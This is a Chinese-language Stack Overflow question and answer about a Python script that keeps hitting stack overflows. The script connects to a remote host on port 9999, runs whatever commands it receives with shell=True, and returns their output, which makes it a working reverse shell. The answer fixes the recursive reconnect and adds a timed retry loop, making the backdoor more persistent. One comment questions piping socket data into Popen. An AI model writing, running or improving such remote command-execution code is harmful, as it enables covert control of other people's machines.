2016-12-07 155 views
1

這是我在學習Python的做了一個小腳本恢復,但由於某些原因,它告訴我,它無法從堆棧過流恢復。當另一臺服務器斷開時會發生這種情況無法從堆棧溢出

腳本:

#/user/bin/python 
import os 
import socket 
import subprocess 
import errno 
import threading 
s = socket.socket() 
host = '192.168.1.6' 
port = 9999 

def connect(): 
    try: 
     s.connect((host,port)) 
    except Exception as msg: 
     print("ERROR HAPPEND 2 ") 
     connect() 
    else: 
     Work() 

def Work(): 
    while True: 
     data = s.recv(1024) 
     print("Data : " + data.decode('utf-8')) 
     if data[:2].decode("utf-8") == 'cd': 
      os.chdir(data[3:].decode('utf-8')) 
     if len(data) >0: 
      cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True, 
            stdout=subprocess.PIPE, 
            stderr=subprocess.PIPE, 
            stdin=subprocess.PIPE) 
      output_bytes = cmd.stdout.read() + cmd.stderr.read() 
      output_str = str(output_bytes , "utf-8") 
      s.send(str.encode(output_str + str(os.getcwd()) + '> ')) 
     else: 
      s.shutdown(socket.SHUT_RDWR) 
      s.close() 
      thread1 = threading.Thread(target = connect) 
      thread1.start() 
      break 

connect() 
+0

你能粘貼完整的錯誤? – user312016

+0

請張貼堆棧跟蹤 –

+0

什麼堆棧溢出?你是否真的將從套接字接收到的數據直接傳送到Popen? –

回答

1

這段代碼是錯誤的:

def connect(): 
    try: 
     s.connect((host,port)) 
    except Exception as msg: 
     print("ERROR HAPPEND 2 ") 
     connect() 
    else: 
     Work() 

如果因爲某些原因連接失敗(拒絕,甚至語法錯誤在try/except塊,因爲你不過濾異常類型),那麼你打印錯誤消息,並通過調用遞歸你的函數再試一次。

由於套接字錯誤很可能因爲你是立即重試相同的操作,而不改變任何東西(首發例如其他程序!)再次發生,你會得到一個堆棧溢出速度非常快。

修復,第一步:讓你的連接崩潰與正確的錯誤信息

def connect(): 
    s.connect((host,port)) 
    Work() 

修復,第二步:如果你認爲連接以後可以建立,您可以捕獲該異常,等一會兒並重,例如像這樣:

def connect(): 
    while True: 
     try: 
      s.connect((host,port)) 
      break # connection OK, proceeed to Work 
     except ConnectionRefusedError as e: 
      print("{}, retry in 10s ...".format(str(e))) 
      time.sleep(10) 
    Work() 

在你的情況下,關閉套接字剛過,創建另一個線程調用connect,並沒有這樣做,遞歸,這說明您遇到的問題當斷開另一個sid即